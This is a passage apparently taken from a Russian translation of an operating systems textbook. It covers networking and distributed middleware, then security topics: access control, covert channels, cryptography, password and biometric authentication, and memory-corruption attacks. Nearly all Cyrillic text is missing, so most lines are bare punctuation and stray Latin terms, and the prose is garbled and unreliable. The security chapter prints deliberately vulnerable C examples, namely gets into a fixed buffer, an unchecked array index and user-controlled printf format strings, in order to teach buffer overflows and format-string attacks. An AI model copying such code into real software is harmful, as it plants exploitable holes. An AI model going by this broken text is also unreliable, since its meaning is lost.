. 8.27. Ethernet: ;

634

8.

,
, .
Ethernet, , ,
- . , , ,
0 1500 . ,
, ,
.
, , .
, 0 T , . ,
, 0 2T ,
. , .
(binary
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Ethernet
.
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, (bridges).
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, , .
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(. 8.27, ). ,
, Ethernet .
,
, . ,
. ,
. . 8.27,
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, .

ARPANET ,
. 1969
.
,

.
1970- ARPANET , . ,

8.4.

635

Ethernet, ,
.
: .
(hosts) , , , ,
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, . (routers)
,

. (.
. 8.27, ), , .
,
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. 8.28 . , , , .
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.

. 8.28.

. Ethernet

636

8.

, . , , ,
. ,
, .
.
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.

8.3.2.
( ) , . .

.
(conection-oriented service) ,
. -, ,
, , .

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() ,
.
(connectionless service) . ()
, . ,
, . ,
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. , ,
(acknowledgement packet), , . ,
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. ,

8.4.

637

, .
- , ,
.
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.
, . 2 K
, , , , 2048
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, , .
. ,
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service) , .
, . (acknowledged
datagram service). .
,
, .

. 8.29.

638

8.

(request-reply service), , ,
. , ,
, -. -
- :
, . . 8.29
.

. (,
), ,
, .
(, )
. , , (protocol). , ,
. .
Computer Networks, 5/e (Tanenbaum
and Wetherall, 2010).
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stack) . . , ,
, .

.

.

, , , -: IP TCP. IP (Internet Protocol) ,
64 , .
. .
, , .
, .
IP v4 v6.
v4, ,
v6. v4 40- ,
32- 32- .
IP-, . , 0 255,
, 192.31.231.65. , IP- .

8.4.

639

IP , IP .
IP TCP (Transmission Control
Protocol ). TCP IP
, . TCP . IP , ,
.
, , ,
. TCP
, .
.
, UNIX.
,
, . Ethernet, .
?
TCP-. , , TCP-, IP-.
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(. 8.30).

. 8.30.

(
), IP-.
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(Domain Name System ), ,
ASCII- IP-. ,
DNS- star.cs.vu.nl
IP- 130.37.24.6. DNS-

640

8.

, : ,
@, DNS- (user-name@DNS-host-name).
IP-,
DNS, TCP-
,
. (user-name),
, .

8.3.3.

, , ,

. , (WWW, World Wide Web). -
1989 , (CERN),
.
:
, -. - , , ,
, . ., () -.
-
-, . , .
,
:
, (. 8.31).

. 8.31.

- , URL (Uniform Resource

Locator ), ,
, , , DNS-,

8.4.

641

: protocol://DNS-name/file-name.
http (HyperText Transfer Protocol ),
ftp . DNS- , .
, , , . URL- .
.
- , , -.
URL, , ,
, -. , URL http://www.minix3.org/getting-started/index.html. :
1. DNS IP-, www.minix3.org.
2. DNS 66.147.238.215.
3. TCP- 80 IP-
66.147.238.215.
4. getting-started/index.html.
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7. .
8. TCP- .

.
, , -,
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.

8.3.4.

, , , .
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, .
, , .
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, .
, , , .

642

8.

- (upload/download
model) (remote access model). (. 8.32, ) ,
, . ,
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, .
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, ,
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. 8.32. : -;

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8.4.

643

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; ;

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644

8.

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. ,
. , (location transparency), , ,
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, . , .
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(location indenpendence). , ,
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write, ,

8.4.

645

write. , .
(sequential consistency).


. read write , .
,
,
.
, -. 1
, 2
, (. 8.34, ).

. 8.34. ;

.
. -

646

8.

. read
write : ,
, .
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. 8.34, , , ( B
), . 1 ,
, read , , . ,
-, . 8.32.
(session semantics).
, ,

. , ,
, , .
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, ,
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-, .
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. , , , ,
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, .

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. ,
, ,
. (object)
, (methods). . .
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. ,
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) (Vinoski, 1997). CORBA - ,
, (, ). CORBA ,

. , ,
, ,
, ORB (Object Request Broker ). -

8.4.

647

ORB CORBA , ,
.
CORBA- IDL
(Interface Definition Language)
. IDL
- .
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, .
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, . ,
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, .
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.
.
,
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, , , . ,
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CORBA ,
, ,
, , .
CORBA ,
, .

648

8.

. 8.35. CORBA
( CORBA )

8.3.6. ,


, .
Linda ( -
, ).
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(Carriero and Gelernter, 1986; Carriero and Gelernter, 1989; Gelernter, 1985).
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,

, . ,
(, . 8.21, ).
C Java. ,
,
. ( Linda , C.) C-Linda ,
, , ,
( ) ( ).

. 8.1 .
8.1. Linda
("abc", 2, 5)
("matrix-1", 1, 6, 3.14)
("family", "is-sister", "Stephany", "Roberta")

. , out, . ,
out("abc", 2, 5);

8.4.

649

(abc, 2, 5) . out,
, , , :
out("matrix1", i, j, 3.14);

,
i j.
in. ,
. in . , , :
in("abc", 2, ?i);

,
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i ). ,
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in, ,
.
.
in . in, (template), () .
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3. .
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.
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, , , , .
, in out,
, .
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:
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650

8.

down :
in("semaphore S");

S (semaphore S) . ,
, -
.
out in Linda read, in, ,
. eval,
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. Linda .

-
, ,
Linda - (publish/subscribe) (Oki et al., 1993).
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,
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, .

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,
.

8.5.

651

. 8.36. -

.
, -.
, .
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Linda. , .
, , , :
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8.4.

, . ,
, ,
, .
, . , Corey ,
(Boyd-Wickizer et al., 2008).
, ,
, . Barrelfish (Baumann et al., 2009) , , .


.

652

8.

. Fos (Wentzlaff et al.,

2010) ( ) ( ).
NewtOS (Hruby et al., 2012; Hruby et al., 2013)
, ( ,
Minix 3), (
).
. BoydWickizer et al. (2010) , Linux 48- , .
, . Clements et al. (2013)
, API .
, . ,
.

, .
,
Salomie et al. (2011).
.
,
. Viennot et al. (2013) ,
.
Lachaize et al. , Kasikci et al. (2012)
, .
, . Chen et al. (2013)
(power containers).

8.6.
.
: , , . .
, .
.
,
. ,

653

,
, .
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,
.
, ,
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,
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.

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: , , .
(World Wide Web), CORBA Linda.

1. USENET SETI@home
? ( SETI@home
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. 8.1, ?
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3. , ,
200 MIPS, ,
400 ? , .
,
90 %. ,

654

8.

, ,
, 32 ?
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5. , . 8.7?
6. , . 8.8, , , ,
, . 8.7. ?
7. enter_region 2.3, ,
, TSL.
8. .
.
,
-.
(, TCP) (, http).
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, - , , ,
, .

TSL 50 , , , TSL.
32- ,
, 400 ,

-?
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?
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? ,
? , ?
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-. ,

655

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10 , .
,
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,
.
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. 8.16? ,
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16. (. . 8.16, ),
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17.
. ,
.
. , , . , 8 8 8,
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5 / DMA 20
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RPC ( ),
. : ,
, -

656

8.

. , ,
.
?
22. DSM , . .
23. , . 8.24.
, H 2 3.
?
24.
. , ?
, , .
25. Ethernet ?
26. . 8.26
.
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27. . 8.29 .
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) , ;
) -?
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generallwidget.com. DNS-
, ,
.
DNS,
.
29. URL- ,
80. ?
30. -, TCP-,
( HTML).
. ,
TCP- .
.
31. , ,
. ,

. .
32.
, ?
33. in Linda
.
, in.

657

34. . C, , .
clock times, , . ,
.
35. C , RPC-
printf, .
,
.
, ,
.
36. , .

, (creating_processor, start_time, required_CPU_time),
creating_processor , ,
start_time , required_CPU_time , ( ).
, , ,
. , ,
. ,
.
, . ,
. , ,
, N AJL , AJL N .

, AJL.
() .
,
N/3 AJL .
,
.
37. -
, . ,
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. ,
. ,

, ,
.
, ,
, , . -

658

8.

*.
() , . BEGIN NEW ARTICLE.
( ).
,
.
P S ( ),
.
. , ., . ( TCP.)

 9.

, .
: (, ),
(,
), (, ) (, ). .
.
, . .
, .
, ,
. .
, -
( ).
.

. 1990-
, ,

-.
.

.
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660

9.

. ,
, , . ,
- , , .
, , . ,
, ,
, , . ,
(, ).

. , , . Wi-Fi, ,
. Wi-Fi, . 2000
.
, ,
. ,

. , D A, E B . .
, :
.
, , ,
.
, ,
, . , , (, ,
, - 2048- ).
,
. ,
.
, (vulnerability).
,
, . ,
,
(exploit).
.
, ,
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, ,
, .
. , - . ,
,
. . .
, , . , ,
( )

9.1. ,

661

. .
,
,
. , ,
, .
, . , .
( 9.1),
( 9.2), ( 9.3)
( 9.4).
( 9.5)
( 9.6).
. ,
. ,
,
, . ,
.
.
, ,
,
, . ,
, . ,
, , ,
, .

9.1. ,

.
.
, , , , ,
, ,
, .
(security),
, , ,
(protection mechanisms).
.
.
, .

662

9.

9.1.1.
, ,
: , .
CIA (Confidentiality, Integrity, Availability).
. 9.1 ,
, CIA (,
).
9.1.

(confidentiality)
. , ,
,
, .
, , , .
(integrity) , , , -
.
,
. ,
, ,
.
(availability) ,
. ,
(denial of service, (DOS)), . , -,
,
. - , , 100 , ,
10 000 , .
, , ,
, , .
, , ,
(authenticity), (accountability), (nonrepudiability),
(privacy) . , .
-
() .

9.1. ,

663

, . ,
, .
, . ,
, ,
.
,
. .

.
(black-hat hackers),
(white hats).
(Trojan horses),

.
,
.
, . ,
, ,
. .

, , , , (crackers), .
. ,
. , ( ) , . ,
, nmap,
(portscan) , .
, nmap,
TCP- .
, . ,
, , ( ),
, . , nmap
, , , (dual use). ,
dsniff,
.
Low Orbit Ion Cannon (LOIC) - ,
, , . Metasploit, ,
, . ,
. ,
, , , .

664

9.

( ):
, , , - .
,
, - (botnets), ( ) ,
. , .
, ,
. , ()
.
, .
.
, (bot)
(zombie). .
, .
,
, , LOIC .

. Maroochy Shire
, , . , Maroochy Shire , .

, ( ),
.
, -
, , ,
. ,
, .
. , Stuxnet, (Natanz), , ,
.
,
.
, , (privacy): ,
. ,
. ,
, , ?

9.2.

665

-
? ,

?
? , ?
, .

9.1.2.
,
? , , , (,
). , , , , (attackers), (intruders), (adversaries).

, .
: , , , , , ,
, , ,
.
, - (script-kiddie),
. ,
, (, , )
, , ,
.
,
. ,
, , ,
.

9.2.
.
. , PIN- 0000 password
, .
, . ,
, ,
. (
, ) ,
. , USB-
, ,
, , . .

666

9.

, , . , . , -, SQL.
, ,
( )
.
, , ,
, . , ( ) .
- , , ,
. ,
,
, (hardening) ,
, . :
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. . :
,
, ,
, , . .

9.2.1. ?
,
,
. :
1. ?
2. , ?
: . ,
, ,
. , ,
. , ,
. -,
, . , , Microsoft , Windows
, SecureOS, ,
Windows,
Windows . Microsoft
(Fandrich et al., 2006), . . . .

9.2.

667

( ), , . ,

. ,
, .
. ASCII-. ,
. ,
ASCII- (
).
, Word,
.
.
, ASCII-.
? , , -
,
.
-.
HTML-, . , - (
JavaScript), ,
, .
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, ,
, ? - ,
. , -,
, .
, ,
, , .
,
.
,

, .

9.2.2.

(trusted systems), . ,

. TCB
(Trusted Computing Base ), ,
. ,
.

668

9.

TCB ( , ),
, (, SETUID
UNIX). ,
TCB, : ,
, ,
- . TCB
.

(. 9.1). , ,
, ,
. , , .
, .

. 9.1.

. . 1.22 MINIX 3, POSIX- , , Linux FreeBSD. MINIX 3
10 000 .
. , , ,
. ,
, , ( ), .
, MINIX 3,
, .

9.3.

669

9.3.
, ,
. ,
.
.

9.3.1.
,
. (, , , ) (, , , ).
, ,
,
. read write, up down.
, , . ,

. , A F, .
, .
(domain) (, ).
,
. (rights)
. , , ,
, ,
. , , ,
.
,
. (Principle of Least Authority (POLA)),
. , , .
. 9.2 ,
(Read, Write, eXecute) . , Printer1
. File1 ,
.
- .
, ,
, . .
.

670

9.

. 9.2.

, UNIX
( Linux, FreeBSD ). UNIX
UID GID.
, UID GID,
, .
(UID, GID), (,
-,
. .),
(, , ). (UID, GID)
. (UID, GID)
, , , .
, UNIX : ( ). , .
. ,
,
. , .
exec ,
SETUID SETGID, UID GID. (UID, GID)
. SETUID
SETGID , . ,
.
, , .
, , . . 9.2 . 9.3.
, ,
.

, , enter. . 9.4
. 9.3, . 1 2, .
UNIX
SETUID. .

9.3.

671

. 9.3.

. 9.4.

9.3.2.
, . 9.4, -
.
, ,
.
: ,
. , .
, .
, , , .
, . 9.5, ACL (Access Control List
). , A, B C,
: F1, F2 F3. , ,
, A,
B C.
(subjects) (principals), , ,
, (objects), , , .
ACL. ACL- F1 ( ). , ,

672

9.

. 9.5.

A,
. , ,
B, . .
, , .
, A, F1. ,
, . , ,
.
ACL- F2 : A, B C ,
B . . , F3 ,
A B , . B
.
ACL-.
. , : , .
. , , .
(destroy
object) (copy object),
. , ,
(append message)
(sort alphabetically) .
ACL- . (group) .
, ACL-.
.
UID GID. ACL-
UID1, GID1: 1; UID2, GID2: 2; ...

9.3.

673

, , UID GID , .
ACL-, , .
(UID, GID) , .
, (role). ,
sysadm. ,
.
pigfan
. ACL- , . 9.2.
9.2.

Password

tana, sysadm: RW

Pigeon data

bill, pigfan: RW; tana, pigfan: RW;

,
, . ,
, /
, .
, , .
, .

, .
(wildcard),
, . ,
tana, *:RW

,
.
, ,
, .
, , ,
, . .
, ,
.
. ,
virgil, *: (none); *, *:RW

, (Virgil). ,
,
. Virgil -

674

9.

none ( - ),
. , , .
, ACL- (UID, GID), UID, GID. ,
pigeon_data :
debbie: RW; phil: RW; pigfan: RW

, , pigfan
.
, -
, .

. ACL-
. ACL-
, , ,
open. , , .

9.3.3.
, . 9.5, . ,
, ,
, , .
(capability list, C-list),
(capabilities) (Dennis and Van Horn, 1966; Fabry, 1974).
. 9.6.

. 9.6.

. , . 9.6 , A, F1 F2.

9.3.

675

(, , )
. UNIX
i-.
, ,
, , .
,
. .
(tagged architecture), ,
() , ,
.
, ,
, ,
( ). (Feustal, 1972).
IBM AS/400.

. . , , 1 ,
2.
UNIX. Hydra (Wulf et al., 1974).
, ,
.
.
, , , , , . ,
.
UNIX i-.
.
, . 9.7.

. 9.7.

, ( , , i-),
, .
, ,
, .
, , f (y = f(x)), x
y, y x . 9.5. ,

676

9.

,
.
,
. . f(Objects, Rights, Check), ,
. ,
, . , ,
, .

, .
. , f(Objects, New_rights, Check)
, . , Check,
, .

. , , ,
. - ,
,
, f .
, ,
.
Amoeba (Tanenbaum et al., 1990).
, ,
, ( ,
) , , (generic rights),
. :

;
;

- ;
.
, , , , ,
.
- , , , .
,

9.4.

677

, . ,
, , .
(,
, ,
.)
Amoeba .
, . .
, , ,
, .
, .
, . , Hydra,
, , Amoeba.
, ACL-
.
, ,
3, . ,

ACL-. , ACL-,
. ACL-,
, . ,
, , .
ACL- .
ACL- ,
Windows UNIX. . ,
L4, (
Android), . FreeBSD
Capsicum, UNIX.

9.4.
, . 9.3, .
,
,
.
. . (Harrison et al., 1976)
() ,
. ,
, , , .

, 1 File6.

678

9.

(protection
commands). . .
, ,
, , ,
.
,
, read ()
, .
,
, . ,
.
, , . 9.8, . . 9.8, ,
: mailbox7 ,
secret, compiler.
, ,
, . 9.8, .
mailbox7, .
, ,
, . 9.8, , .

. 9.8. : ;

,
: .
, , : ,

?
, ,
( ) .
, ,
, .

9.4.

679

, .
. Harrison et al. (1976)
, .
, - . Landwehr (1981).

9.4.1.
,
.
(discretional access control)1.
, , .
, . , , ,
, ,
(, , ,
). ,
, (mandatory access control)2, ,
.
, .

(Bell LaPadula model),
(Bell and LaPadula, 1973). , .
() , : , , .
, ,
. , .
, , .
, (multilevel security system).

.
1

( ):
, , . . .

( ):
. , , .
. .

680

9.

1. (The simple security property) , k,

. , ,
.
2. * (The * property) , k, . ,
,
, , , , ,
,
.
: ,
. , ,
. * ,
, ,
- , *.
, .
, .
. 9.9.

. 9.9.

,
, . ,
, . , ,

9.4.

681

. , B 1,
3.
, , , . *, , , .
, ,
k, . ,
, , ,
.
,
. ,
, UID GID. ,
. , k,
, k,
.
,
, k.

,
, ,
, .
. , 1, 3, 5. ,
,
, . ,
.
, , .
(Biba, 1977):
1. (The simple integrity property) , k,
( ).
2. * (The integrity * principle) , k,
( ).
,
, , , . ,
, ,
, .

682

9.

9.4.2.

, ?
, . ,
, ,
. ,
, .
(Lampson, 1973).

, ,
, , .
.
, , , , .
. ,
. ,
, , ,
. ,
.
,
, .
. . 9.10.
,
- , .
(confinement problem).

. 9.10. , ;

, , , . ,
, , . ,
,
.

9.4.

683

, .
, .

,
.
.
, 0, , 1. ,
. 9.10, , (covert channel).
, ,
, (,
- ).
,
. ,
, , .
. (
1, 0). ,
. ,

. , , .
. 9.11,
, , .
11010100.

. 9.11. ,

S , ,
.
.

684

9.

, F1 F2,
.
S, F1, , . ,
F2, ,
, F1, , S .
,
,
.
, ,
, , S0 S7?
( , . .).
. UNIX
, , , ,
, access.
,
. , .
, ,
. ,
,
. $100,
$53 000, ,
$100,53.
, , . .
- , -

.

, . , ,
, , ,
, . ,
?
, , ,
.
. 9.12, . ,
, . . 9.13, , -,
, -

9.4.

685

. : ,
, , .
700 .

. 9.12. ; ,

?
1024 768 . 8- ,
, .
. RGB.
,
, , .
1024 768 3 , 294 912
.
734 891 .
274 .
. ,
.
.
7- 8-.
, ,
734 891 .
(steganography, ). , ,
.
- .
, , , ,
. 9.12, .
www.cs.vu.nl/~ast/. covered writing
STEGANOGRAPHY DEMO, , , -

686

9.

, .
, , .
, -, ,
-. - Copyright 2014, General Images Corporation,
, .
, . .
, . ,
, 1
, , JPEG, 1. ,
(, GIF, BMP, TIF).
JPEG- , ,
, . ,
, ( ),
,
.
. .
,
:
, , .
,
, .
, .

9.5.
.
,
.
, - .
.
, . ,
, , IPSec, /
, ,
. , 9.6 .
, .
.

. , , Kaufman et al. (2002), Gollman (2011).
, .

9.5.

687

, (plaintext) , (ciphertext),
, , , .
.
, (),
, .
,
, . (security by obscurity) .
, ,
.
, . P , KE ,
C E ( ), C = E(P,
KE). . ,
E ,
P , KE.
,
, (Kerckhoffs Principle).
XIX .
.
, P = D(C, KD), D ,
KD . , P
C KD,
D, C KD . . 9.13.

. 9.13.

9.5.1.
, ,
, A Q,
B W, C E . ., :
:
ABCDEFGHIJKLMNOPQRSTUVWXYZ
: QWERTYUIOPASDFGHJKLZXCVBNM

688

9.

(monoalphabetic
substitution), 26 , . QWERTYUIOPASDFGHJKLZXCVBNM. ATTACK
QZZQEA. , .
KXVMCNOPHQRSZYIJADLEGWBUFT, A K , B X . .
, , ,
( ),
, 26! 4 1026 . ,
,
.
. ,
e, t, o, a, n, i . .
, , th, in, er, re . . .
,
.
(secret-key cryptography),
(symmetric-key cryptography).

,
.
256 ,
, 2256 1,2 1077.
, .

9.5.2.

, ,
:
. , ,
. ,
(public-key cryptography) (Diffie and Hellman, 1976). ,


.
, .
, :
1. 314159265358979 314159265358979?
2. 3912571506419387090594828508241?
,
,

9.5.

689

- . , ,
50 %- ,
, .
, .
.
, .
RSA ,
, ,
,
(Rivest et al., 1978). . ,
(El Gamal, 1985).
, , .
,
( , ), .
, .
, ,
.
.
, .

9.5.3.
, , f, , f
x y = f(x),
x, f(x). , ,
. y x. , ,
x, y
, . , .
- (cryptographic
hash function).

9.5.4.
. ,
, ,
.
. , -
. , ,
, .
, ?

690

9.

, .

,
. - , . -
SHA-1 (Secure Hash Algorithm), 20- (NIST, 1995). SHA-1 SHA-256 SHA-512 32- 64-
, .
. , D(hash). , (signature block),
(. 9.14).
D , ,
. .

. 9.14. ; ,

, SHA-1
-.
, E(D(hash)). .
, , ,
( ). , ,
. ,
, x
E(D(x)) = x.
, , ,
D(E(x)) = x,
E , D .
, ,

9.5.

691

D E . , RSA
.
,
.
-. , ,
- .
- .

(certificate),

. ,
,
, .
, ,
(Certification Authority (CA)).
, CA, . ?
, , (Public
Key Infrastructure (PKI)). - :

40 .

, , ,
.

9.5.5.
. ,
.
. ?

(Trusted Platform Module (TPM)),
,
. TPM ,

. .
.
TPM, , ,
.
TPM ,
, TPM . Microsoft, , Palladium, NGSCB BitLocker.
,

692

9.

, , .
.
( ) , . TPM
, ,
, TPM.
(, Microsoft).
, TPM ,
, .
TPM,
.
-,
.
TPM
(remote attestation),
TPM ,
-, . , TPM ,
. , ,
, BIOS. ()
, , - , .
,
, . ,
,
.
, . - BIOS,
TPM , . TPM
, (Platform
Configuration Register (PCR)). PCR ,
, . PCR,
TPM PCR PCR. ,
, ( )
PCR,
. PCR
-, . ,
PCR.
, ,
, ( ) , .
, , 160 . ,

9.6.

693

(nonce),
.
,
.
.
( ), TPM
( )
PCR. , , PCR
, . .
, . ,
.
PCR, . ,
,
. , , ,
, ,
,
.
TPM , . , TPM
. -
, ,
TPM.

9.6.
(secured) .
, , ,
.
, ,
.
, 1
. ,
ENIAC, , . , ,
.
- (, PDP-1 PDP-8)
, UNIX - PDP-11 .
(, Apple II IBM PC) , -

694

9.

, Linux Windows 8 (
). , () -,
, .
.
, .
, :
-, ;
-, ;
-, .
.
.
.
, .
.
( , ). ,
. ,
, , .
,
, . Windows . UNIX
. . , Windows,
, .
.
, , . 9.15. , , , . 9.15, .
. 9.15, , . 9.15,
B.

. 9.15. : ; ;

. 9.15, , . ,
, .
. 9.15, , ,

9.6.

695

. ,
.
,
. , , , .
BIOS,
Del, F8, - , BIOS ( )
. , USB .
- USB, ,
.
( UNIX) D: ( Windows).
, BIOS BIOS,
.
,
BIOS, .

9.6.1.
, (, ) (
, ) , .

. , Ellen Ann Smith ellen,
smith, ellen smith, ellen-smith, ellen.smith, esmith, easmith eas.
4096 , ,
,
(ellen_smith , , , ).
, .
. ? , . UNIX
(Morris and Thompson, 1979). :
, , , ( ), . .
. 86 %
.
- ,
, : . 2012
6,4 LinkedIn,
. password. 123456 ( 1234,

696

9.

12345 12345678). .
()
.
IOActive 2013 . ,
.
,
, . , ,
, .
. ,
, Stuxnet- , Siemens, , , .
.
.
, - ,
- (Florencio and Herley, 2007; Gaw and Felten,
2006).
, ? , .
1998 San Jose Mercury News ,
(war dialers), 10 000
(, (415) 7700xxxx), ,
,
. 2,6 ,
20 000 , 200
. , 75 %
(Denning, 1999). , 2,6 .
.
. Citibank , ( 5 ),
( ). 4000
(Denning, 1999). ,
, , ,
, .
.
. - .
. , - ( ) IP-.
- , TCP-
, . , , ,

9.6.

697

,

nmap,
. , ,
. , , ,
, telnet- -. ,
, ,
,
.

9.6.2. UNIX
,
.
, .
, , , , , , .
UNIX . .
.
.
, .
, ASCII-,
, ,
. , , , ,
, . , ,
, ,
- . ,
. , UNIX .
, . ,
. . , ,
. ,
, .
. .
. , , ,
. .
, ,
. ,

698

9.

n- , (salt).
. , .
, , .
. . 9.16 : Bobbie, Tony, Laura, Mark Deborah.
, , :
, + . e(Dog, 4238)
Dog, Bobbie, 4238 e.
, ,
Bobbie.

. 9.16.

, , ,
f, . , Dog, Dog f.
2n , Dog0000, Dog0001, Dog0002 . .,
f. f 2n .
UNIX n = 12.
UNIX , , , ,
, root-. ,
( ) , ,
.

9.6.3.

. . , (one-time passwords).
.
. , ,
. ,
.

9.6.

699

- (Lamport, 1981) ,
, .
,
, , . ,
,
.
(one-way hash chain).
, y = f(x), , x y. y
x .
, 256 .
, . n, ,
. , n = 4,
n. s,
n :
P1 = f(f(f(f(s))))

(n 1) :
P2 = f(f(f(s)))

f , . Pi 1 = f(Pi). ,
, . ,
P2, P1, P3.
P0, f(P1).
, , 1, ,
P1. ,
, 1, . P1,
s, . f(P1) ,
(P0). , ,
2, P0 P1.
2, P2. f(P2)
. , , 3, P2
P1. , , ,
Pi,
Pi + 1, Pi 1,
. n
, .

700

9.

9.6.4.
, ,
(, ). , . ,
:
1. ?
2. ?
3. ?

. , .
(chalelenge response).
, x2.
, , 7,
49.
, . .
,
, , , ,
. k, .
( ) .
r,
f(r, k) ( f ), . ,
.
,
, ,
. , f
, k. -,
(XOR) r
k. .

9.6.5.

-
, - . .
,
, . , , ,
. (Automated Teller Machine (ATM)

9.6.

701

)
(ATM-) (
-, 4 , ).
, , : ().
140 , , .
.
(, -),

. , , . 10 50
. -
,

.
- (). : -.
(stored value cards) ( 1 ),
,
, , .
,
( ).
, , , , .
, . (,
).
, 1 ,
, .

- (smart cards), - 8-
4 , 16 , 4 EEPROM,
512 9600 /
.
, ,
( ), (
) ( 1 20
,
).
-, ,
, .
, , .

( YES),

702

9.

.
- .
-, , , .
, .
, .
, , , ,
, .
, (
). -
, ,
, .
.
- (,
),
. , . : - ,
, ( )
, . , , - -, -
, .
- -
,
,
( ), .
- . . 512-
-, 512- , .
, 512 ,
, . . 9.17.
, - .
,
512- . ,
(, , ) .
,
, - .
, , Java.
Java .
, , :
.
,

9.6.

703

. 9.17. -

- ,
. - ,
-
(side-channel attack), , . , ,
, .
, ,
.

9.6.6.

, .
(biometrics) (Boulgouris et al., 2010; Campisi, 2013). ,

.
: .
. ,
.
(, )
-,
(, ).
. .
. , ,
. ,
, ,
. ,
,

704

9.

, ,
- .
, . ,
, .
,
. - , - - ,
. , ,
,
, , .
, ,
. - ,
, ,
-, ,
,
.
,
. ,
. , , , . 9.18.
,
, .

. 9.18.

. , ,
, , .

9.6.

705

, , (iris recognition).
( ) ,

(Daugman, 2004).
( 1 ),
, -
(Gabor wavelet tronsformation) 256 .
, ,
,
. (
,
.)
, ,
. , (,
), .
1 , -
, . - , , , ,
,
, , .
2001 ,
.
. , , ,
-. ,
. ,
,
.

(Kaman et al., 2013). ( ), . ,
, ,
.
, ,
. , .
, , ,
-. ,
, (Tresadern et al., 2013).
,
. . ,

706

9.

. ,
- , - ,
, , .
,
: , . , , .
,
, . ,
. , (Rodriguez-Lujan
et al., 2013). , ?

.
,
. , , (Fuksis et al., 2011).
,
.
, -
, , - - .
Apple iPhone 5S.

9.7.
,
- , . ,
,
, drive-by-download. ,
, -. -, . - ,
- (,
). ,
- (, ).
-
Miami Dolphins, Dolphins ,
. -
, ,
, . drive-bydownload , - ( ),
.
, .

9.7.

707

- . -
,
, . drive-by-downloads ,
, .
. ,
. , , . : ,
, , , . -
! , , ,
. ,
!. .
. , , ,
. ,
, ,
.
, . ,
. , .
. ,
.
,
, , .
, ,
. .
,
.
,
. , - 1988 ,
. , ,
(Van der Veen, 2012).

, : , (stack canaries), (data execution
protection) (address-space
layout randomization).
, (format string
attacks), (integer overflows)
(dangling pointer exploits). ,
!

708

9.

9.7.1. ,
,
C ++ (
, ,
). , C ++
. , gets,
( ) ,
, ( gets ). :
01. void A() {
02. char B[128];
/* 128 */
03. printf ("Type log message:");
04. gets (B);
/* */
05. writeLog (B);
/* */
06. }

A
. ,
B gets C. ,
writeLog, , ,
(,
, ). , A ,
,
(SETUID root). ,
, root.
,
. , gets , .
, B 128 . , 256 . 128 ? gets
,
, 256 . ,
, . .
. 9.19, ,
. - , . 9.19, , A.
( ,
). A,
128, ( B).
, , 128 ? . 9.19, . , gets
, , ,
, , , , .

9.7.

709

. 9.19. : ;
; ,

, ,
, , ,
. ,
.
A,
, .
.
, ,
, , ,
. ,
, ,
B. A
B
. ,

. ,
. ,
, .
(, exec),
.
, - (shellcode), .
, gets ( ), ,

. , , , ,

710

9.

, . ,
: strcpy, memcpy, strcat .
, , . , ?
, , -.
nop- (nop sled)
NO OPERATION ( ), .
nop-, -. Nop- ,
, ,
nop- -. ,
JavaScript
nop- -. ,
, nop- .
(heap spraying).

()
, , , (stack
canaries). .
. ,
. ,
. , ,
.
, . , ,
.

, , . . , ,
.

. , , - , .
,
.

, ,
. , ,
. : strcpy
C, ,
strlen, .
len :

9.7.

711

01. void A (char *date) {

02. int len;
03. char B [128];
04. char logMsg [256];
05.
06. strcpy (logMsg, date);
07.
08.
09.
10.
11.

/*
*/
len = str len (date);
/*
*/
gets (B);
/* */
strcpy (logMsg+len, B);
/*
*/
writeLog (logMsg); /* ,
*/
}

, A
,
( A).
( 6).
, . . , 5 ,
7. . ( 7).
( 8) ,
. ,
( 9). , , ,
.
, .
? , B
.
len, . 9 len , , B.
,
len,
.
, .
, .
, ,
. , C C++ f
,
:
void (*f)(char*);

, , ,
. A , f = A
f A. , , . ,

712

9.

. ,
, , . , .
, .

, ,
.

, : ! ,
, ,
. ? , , .
,
. . (code
injection attacks) , , ,
.
,
NX- (NX bit), No-eXecute, .
, (,
) ( ).
. OpenBSD
WX ( WExclusive-OR X W XOR X). ,
, , . Mac OS X, Linux Windows .
DEP (Data Execution Prevention), . NX-.
DEP , .
DEP . -. ,
.

DEP .
( ) .
, , - . : ,
?. ,

.
(return to libc), ,
-
(return-oriented programming).

9.7.

713

, (. . 9.19) , , ,
. : -
? , . C
libc ( ),
, C-.
system,
. , system,
. , - , ,
system.
(return to libc) . System , .
, mprotect,
. , libc
. , Linux (Procedure Linkage Table (PLT)). PLT
, , ,
, ,
.
.
- (Return-Oriented
Programming (ROP))
. .
, , . ,
. ,
. : ? ,
.
, , , . .
, -
, , -, -
, -, . ,
. (gadgets). ,
,
. ,
,
.

.
. 9.20, a ,
. , -

714

9.

. ,
. A X, B Y
. . .
, ,
, , , .
, . 9.20, , A
. ,
, .
, , 1 . 2,
1 4,
2. -,
.
,
.
&

& B

& A

&
( Z)

& B
( Y)

& A
( X)

:
A:
1
,

4
3
2
1

3
2
1

B:
2

C:
1 4
1
2

2

4
3
2
1

. 9.20. - :

- , ,
, . , .
ROP-.

9.7.

715

ROP ,
.

.
(ROP)
, ROP nop . , , ,
?
(Address Space Layout Randomization (ASLR))
. . , ASLR
, .

DEP ASLR.
,
(Giuffrida et al., 2012).

. -
.
.
.

ASLR

. ASLR ,
. , ASLR
. ASLR . , .
, 32- ,
. ,
, .
ASLR . ,
, .
:
01. void C() {
02. int index;
03. int prime [16] = { 1,2,3,5,7,11,13,17,19,23,29,31,37,41,43,47 };
04. printf (" ?");
05. index = read user input ();
06. printf (" %d %d\n", index,
prime[index]);
07. }

716

9.

,
C. ,
,
. , .
.
, 15, , 0.
, .
.
, , , ,
, , . , ,
, , . ,
, Snow et al. (2013).

,
: .
, , . . , :
01. void A() {
02. int author ized;
03. char name [128];
04. authorized = check credentials (...); /* ,
0 */
05. printf (" ?\n");
06. gets (name);
07. if (authorized != 0) {
08. printf (" %s, \n", name)
09. /* ... ... */
10. } else
11. printf (", %s, .\n");
12. }
13. }

.
, . , , C, , -
. , 129 .
, , .
, ,
. ,
.

:
, .

9.7.

717

(
), , (Van der Veen, 2012).
- , ,
C,
.
. .
, C C++.
, .

, . ,
(, , ).

9.7.2. ,
,
. ,
. reference_count, ,
rc 13 ?
.
C,
C :
char * s="Hello World";
printf("%s", s);

s, Hello World ,
. printf :
%s, , . (
). .
,
:
char * s="Hello World";
printf(s);

printf ,
, . , (, %s), , ,
. , ,
, , .
- ,
, -

718

9.

. ,
:
char s[100], g[100] = "Hello ";
gets(s);
strcat(g, s);
printf(g);

/*
/*
/*
/*

s g; g */
s */
s g */
g */

s g, g .
. (
gets, , ).
, , , , , , , ,
, , printf.
, %s ( )
%d ( ), ,
. , %n .
,
,
printf. , %n:
int main(int argc, char * argv[])
{
int i=0;
printf("Hello %nworld\n", &i);
printf("i=%d\n", i);
}

/* %n i */
